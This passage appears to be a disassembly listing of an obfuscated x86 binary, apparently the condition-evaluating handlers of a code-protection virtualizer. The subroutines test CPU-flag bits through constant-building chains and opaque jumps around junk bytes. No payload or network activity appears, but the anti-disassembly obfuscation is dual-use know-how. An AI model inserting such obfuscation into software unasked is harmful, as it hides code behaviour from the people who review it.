pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49ECE5
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49ECE5: ; CODE XREF: sub_49EC69+71j
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49EC69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49ECF9 proc near ; DATA XREF: sub_4965D8+459o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49ED1E
jl short loc_49ED1C
loc_49ED19: ; CODE XREF: sub_49ECF9:loc_49ED1Cj
; sub_49ECF9:loc_49ED1Ej
jmp short loc_49ED20
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49ED1C: ; CODE XREF: sub_49ECF9+1Ej
jz short loc_49ED19
loc_49ED1E: ; CODE XREF: sub_49ECF9+1Cj
jmp short loc_49ED19
; ---------------------------------------------------------------------------
loc_49ED20: ; CODE XREF: sub_49ECF9:loc_49ED19j
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_49ED74
jl short loc_49ED72
loc_49ED6F: ; CODE XREF: sub_49ECF9:loc_49ED72j
; sub_49ECF9:loc_49ED74j
jmp short loc_49ED76
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49ED72: ; CODE XREF: sub_49ECF9+74j
jz short loc_49ED6F
loc_49ED74: ; CODE XREF: sub_49ECF9+72j
jmp short loc_49ED6F
; ---------------------------------------------------------------------------
loc_49ED76: ; CODE XREF: sub_49ECF9:loc_49ED6Fj
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49EDCF
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49EDCF: ; CODE XREF: sub_49ECF9+CBj
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49ECF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49EDE3 proc near ; DATA XREF: sub_4965D8+D61o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Eh
pop ebx
sub bl, 6
dec bl
push eax
dec bl
dec bl
and eax, 80h
dec bl
sub bl, 2
dec bl
pop eax
dec bl
and al, bl
mov edx, 2400h
dec dh
sub dh, 3
dec dh
sub dh, 16h
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49EE64
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49EE64: ; CODE XREF: sub_49EDE3+76j
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49EDE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49EE78 proc near ; DATA XREF: sub_4965D8+160Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49EEAB
jl short loc_49EEA9
loc_49EEA4: ; CODE XREF: sub_49EE78:loc_49EEA9j
; sub_49EE78:loc_49EEABj
jmp short loc_49EEAD
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49EEA9: ; CODE XREF: sub_49EE78+2Aj
jz short loc_49EEA4
loc_49EEAB: ; CODE XREF: sub_49EE78+28j
jmp short loc_49EEA4
; ---------------------------------------------------------------------------
loc_49EEAD: ; CODE XREF: sub_49EE78:loc_49EEA4j
sub bl, 5
dec bl
push eax
dec bl
dec bl
jo short loc_49EEC2
jl short loc_49EEC0
loc_49EEBB: ; CODE XREF: sub_49EE78:loc_49EEC0j
; sub_49EE78:loc_49EEC2j
jmp short loc_49EEC4
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49EEC0: ; CODE XREF: sub_49EE78+41j
jz short loc_49EEBB
loc_49EEC2: ; CODE XREF: sub_49EE78+3Fj
jmp short loc_49EEBB
; ---------------------------------------------------------------------------
loc_49EEC4: ; CODE XREF: sub_49EE78:loc_49EEBBj
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49EEF8
jl short loc_49EEF6
loc_49EEF1: ; CODE XREF: sub_49EE78:loc_49EEF6j
; sub_49EE78:loc_49EEF8j
jmp short loc_49EEFA
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49EEF6: ; CODE XREF: sub_49EE78+77j
jz short loc_49EEF1
loc_49EEF8: ; CODE XREF: sub_49EE78+75j
jmp short loc_49EEF1
; ---------------------------------------------------------------------------
loc_49EEFA: ; CODE XREF: sub_49EE78:loc_49EEF1j
inc eax
dec eax
jo short loc_49EF07
jl short loc_49EF05
loc_49EF00: ; CODE XREF: sub_49EE78:loc_49EF05j
; sub_49EE78:loc_49EF07j
jmp short loc_49EF09
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49EF05: ; CODE XREF: sub_49EE78+86j
jz short loc_49EF00
loc_49EF07: ; CODE XREF: sub_49EE78+84j
jmp short loc_49EF00
; ---------------------------------------------------------------------------
loc_49EF09: ; CODE XREF: sub_49EE78:loc_49EF00j
inc eax
dec eax
inc eax
dec eax
jo short loc_49EF16
jl short loc_49EF14
loc_49EF11: ; CODE XREF: sub_49EE78:loc_49EF14j
; sub_49EE78:loc_49EF16j
jmp short loc_49EF18
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49EF14: ; CODE XREF: sub_49EE78+97j
jz short loc_49EF11
loc_49EF16: ; CODE XREF: sub_49EE78+95j
jmp short loc_49EF11
; ---------------------------------------------------------------------------
loc_49EF18: ; CODE XREF: sub_49EE78:loc_49EF11j
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49EF3C
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49EF3C: ; CODE XREF: sub_49EE78+B9j
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49EE78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49EF50 proc near ; DATA XREF: sub_4965D8+9EDo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D78
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_49EF79
; ---------------------------------------------------------------------------
mov ebx, 4
loc_49EF79: ; CODE XREF: sub_49EF50+22j
mov ebx, 32h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3A8
xor ecx, dword_4ED3AC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49EFC4
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49EFC4: ; CODE XREF: sub_49EF50+69j
mov eax, [ebp+var_8]
push eax
call off_4F1D00
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49EF50 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49EFD8 proc near ; DATA XREF: sub_4965D8+1625o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D98
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C8
xor ecx, dword_4ED3CC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F06D
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F06D: ; CODE XREF: sub_49EFD8+8Aj
mov eax, [ebp+var_8]
push eax
call off_4F1D20
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49EFD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F081 proc near ; DATA XREF: sub_4965D8+239o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D84
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
dec dh
dec dh
and ah, dh
mov dl, 0Eh
sub dl, 0FFh
jo short loc_49F0B4
jl short loc_49F0B2
loc_49F0AF: ; CODE XREF: sub_49F081:loc_49F0B2j
; sub_49F081:loc_49F0B4j
jmp short loc_49F0B6
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49F0B2: ; CODE XREF: sub_49F081+2Cj
jz short loc_49F0AF
loc_49F0B4: ; CODE XREF: sub_49F081+2Aj
jmp short loc_49F0AF
; ---------------------------------------------------------------------------
loc_49F0B6: ; CODE XREF: sub_49F081:loc_49F0AFj
sub dl, 0FEh
dec dl
sub dl, 0FFh
sub dl, 0Ah
sub dl, 0FFh
sub dl, 0FFh
sub dl, 5
dec dl
jo short loc_49F0D5
jl short loc_49F0D3
loc_49F0D0: ; CODE XREF: sub_49F081:loc_49F0D3j
; sub_49F081:loc_49F0D5j
jmp short loc_49F0D7
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49F0D3: ; CODE XREF: sub_49F081+4Dj
jz short loc_49F0D0
loc_49F0D5: ; CODE XREF: sub_49F081+4Bj
jmp short loc_49F0D0
; ---------------------------------------------------------------------------
loc_49F0D7: ; CODE XREF: sub_49F081:loc_49F0D0j
dec dl
dec dl
sub dl, 3
sub dl, 0FFh
dec dl
inc dl
inc dl
inc dl
jo short loc_49F0F2
jl short loc_49F0F0
loc_49F0ED: ; CODE XREF: sub_49F081:loc_49F0F0j
; sub_49F081:loc_49F0F2j
jmp short loc_49F0F4
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_49F0F0: ; CODE XREF: sub_49F081+6Aj
jz short loc_49F0ED
loc_49F0F2: ; CODE XREF: sub_49F081+68j
jmp short loc_49F0ED
; ---------------------------------------------------------------------------
loc_49F0F4: ; CODE XREF: sub_49F081:loc_49F0EDj
inc dl
dec dl
inc dl
dec dl
dec dl
inc dl
dec dl
inc dl
inc dl
inc dl
dec dl
inc dl
dec dl
inc dl
inc dl
dec dl
dec dl
dec dl
and al, dl
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B4
xor ecx, dword_4ED3B8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F13E
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F13E: ; CODE XREF: sub_49F081+B2j
mov eax, [ebp+var_8]
push eax
call off_4F1D0C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F081 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F152 proc near ; DATA XREF: sub_4965D8+CACo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DDC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 100h
pop ebx
dec bh
jo short loc_49F188
jl short loc_49F186
loc_49F183: ; CODE XREF: sub_49F152:loc_49F186j
; sub_49F152:loc_49F188j
jmp short loc_49F18A
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_49F186: ; CODE XREF: sub_49F152+2Fj
jz short loc_49F183
loc_49F188: ; CODE XREF: sub_49F152+2Dj
jmp short loc_49F183
; ---------------------------------------------------------------------------
loc_49F18A: ; CODE XREF: sub_49F152:loc_49F183j
add bh, 0FFh
add bh, 0FFh
add bh, 0FFh
add bh, 0FFh
inc bh
inc bh
inc bh
inc bh
and ah, bh
jo short loc_49F1A9
jl short loc_49F1A7
loc_49F1A4: ; CODE XREF: sub_49F152:loc_49F1A7j
; sub_49F152:loc_49F1A9j
jmp short loc_49F1AB
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49F1A7: ; CODE XREF: sub_49F152+50j
jz short loc_49F1A4
loc_49F1A9: ; CODE XREF: sub_49F152+4Ej
jmp short loc_49F1A4
; ---------------------------------------------------------------------------
loc_49F1AB: ; CODE XREF: sub_49F152:loc_49F1A4j
mov bl, 15h
dec bl
sub bl, 6
dec bl
dec bl
dec bl
sub bl, 1
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
and al, bl
pop ebx
pop edx
test eax, eax
jz short loc_49F1D7
not eax
add eax, 1
stc
jmp short loc_49F1DD
; ---------------------------------------------------------------------------
loc_49F1D7: ; CODE XREF: sub_49F152+7Bj
not eax
add eax, 1
clc
loc_49F1DD: ; CODE XREF: sub_49F152+83j
sbb eax, eax
inc eax
dec eax
jo short loc_49F1EC
jl short loc_49F1EA
loc_49F1E5: ; CODE XREF: sub_49F152:loc_49F1EAj
; sub_49F152:loc_49F1ECj
jmp short loc_49F1EE
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49F1EA: ; CODE XREF: sub_49F152+91j
jz short loc_49F1E5
loc_49F1EC: ; CODE XREF: sub_49F152+8Fj
jmp short loc_49F1E5
; ---------------------------------------------------------------------------
loc_49F1EE: ; CODE XREF: sub_49F152:loc_49F1E5j
inc eax
dec eax
jo short loc_49F1FB
jl short loc_49F1F9
loc_49F1F4: ; CODE XREF: sub_49F152:loc_49F1F9j
; sub_49F152:loc_49F1FBj
jmp short loc_49F1FD
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49F1F9: ; CODE XREF: sub_49F152+A0j
jz short loc_49F1F4
loc_49F1FB: ; CODE XREF: sub_49F152+9Ej
jmp short loc_49F1F4
; ---------------------------------------------------------------------------
loc_49F1FD: ; CODE XREF: sub_49F152:loc_49F1F4j
inc eax
dec eax
inc eax
dec eax
jo short loc_49F20C
jl short loc_49F20A
loc_49F205: ; CODE XREF: sub_49F152:loc_49F20Aj
; sub_49F152:loc_49F20Cj
jmp short loc_49F20E
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49F20A: ; CODE XREF: sub_49F152+B1j
jz short loc_49F205
loc_49F20C: ; CODE XREF: sub_49F152+AFj
jmp short loc_49F205
; ---------------------------------------------------------------------------
loc_49F20E: ; CODE XREF: sub_49F152:loc_49F205j
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED40C
xor ecx, dword_4ED410
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F232
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F232: ; CODE XREF: sub_49F152+D5j
mov eax, [ebp+var_8]
push eax
call off_4F1D64
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F152 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F246 proc near ; DATA XREF: sub_4965D8+2ABo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 75h
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
jo short loc_49F2AB
jl short loc_49F2A9
loc_49F2A6: ; CODE XREF: sub_49F246:loc_49F2A9j
; sub_49F246:loc_49F2ABj
jmp short loc_49F2AD
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49F2A9: ; CODE XREF: sub_49F246+5Ej
jz short loc_49F2A6
loc_49F2AB: ; CODE XREF: sub_49F246+5Cj
jmp short loc_49F2A6
; ---------------------------------------------------------------------------
loc_49F2AD: ; CODE XREF: sub_49F246:loc_49F2A6j
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_49F394
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
inc bh
inc bh
inc bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 80h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 4
pop ecx
dec cl
dec cl
dec cl
dec cl
and al, cl
mov bh, 0Fh
and bl, 0
sub bh, 4
dec bh
sub bh, 1
dec bh
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_49F37F
not eax
add eax, 1
stc
jmp short loc_49F385
; ---------------------------------------------------------------------------
loc_49F37F: ; CODE XREF: sub_49F246+12Fj
not eax
add eax, 1
clc
loc_49F385: ; CODE XREF: sub_49F246+137j
sbb eax, eax
add eax, 1
pop ecx
cmp ecx, eax
jnz short loc_49F394
and eax, 0
jmp short loc_49F398
; ---------------------------------------------------------------------------
loc_49F394: ; CODE XREF: sub_49F246+98j
; sub_49F246+147j
and eax, 0
inc eax
loc_49F398: ; CODE XREF: sub_49F246+14Cj
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F3BB
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F3BB: ; CODE XREF: sub_49F246+16Aj
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F246 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F3CF proc near ; DATA XREF: sub_4965D8+FC5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F464
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F464: ; CODE XREF: sub_49F3CF+8Aj
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F3CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F478 proc near ; DATA XREF: sub_4965D8+72Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
jo short loc_49F4E0
jl short loc_49F4DE
loc_49F4DB: ; CODE XREF: sub_49F478:loc_49F4DEj
; sub_49F478:loc_49F4E0j
jmp short loc_49F4E2
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49F4DE: ; CODE XREF: sub_49F478+61j
jz short loc_49F4DB
loc_49F4E0: ; CODE XREF: sub_49F478+5Fj
jmp short loc_49F4DB
; ---------------------------------------------------------------------------
loc_49F4E2: ; CODE XREF: sub_49F478:loc_49F4DBj
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F53A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F53A: ; CODE XREF: sub_49F478+B7j
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F478 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F54E proc near ; DATA XREF: sub_4965D8+A8Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 5
pop ebx
dec bl
dec bl
sub bl, 2
dec bl
and al, bl
mov dh, 0Dh
and dl, 0
sub dh, 3
dec dh
sub dh, 1
and ah, dh
pop ebx
pop edx
test eax, eax
jz short loc_49F59E
not eax
add eax, 1
stc
jmp short loc_49F5A4
; ---------------------------------------------------------------------------
loc_49F59E: ; CODE XREF: sub_49F54E+46j
not eax
add eax, 1
clc
loc_49F5A4: ; CODE XREF: sub_49F54E+4Ej
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED418
xor ecx, dword_4ED41C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F5CB
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F5CB: ; CODE XREF: sub_49F54E+72j
mov eax, [ebp+var_8]
push eax
call off_4F1D70
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F54E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F5DF proc near ; DATA XREF: sub_4965D8+152Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DAC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
sub cl, 4
push eax
dec cl
dec cl
sub cl, 17h
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 0C00h
sub dh, 1
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3DC
xor ecx, dword_4ED3E0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49F6C6
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49F6C6: ; CODE XREF: sub_49F5DF+DCj
mov eax, [ebp+var_8]
push eax
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49F5DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49F6DA proc near ; DATA XREF: sub_4965D8+ECCo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D80
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 2Ah
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
